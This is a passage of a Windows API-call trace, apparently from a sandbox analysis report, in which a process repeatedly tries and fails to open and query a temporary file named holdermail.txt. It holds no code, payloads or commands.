	[0088.959] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.959] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.959] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.959] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.960] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.960] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.960] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.960] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.961] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.961] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.961] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.961] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.961] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.961] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.962] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.962] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.962] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.962] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.962] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.962] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.963] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.963] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.963] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.963] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.964] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.964] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.964] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.965] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.965] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.965] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.965] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.965] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.966] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.966] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.966] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.967] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.967] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.967] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.967] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.968] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.968] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.968] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.968] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.968] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.968] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.969] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.969] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.969] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.969] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.969] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.969] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.970] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.970] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.970] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.970] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.971] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.971] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.971] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.971] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.972] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.972] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.972] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.972] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.972] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.973] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.973] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.973] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.973] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.973] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.973] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.973] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
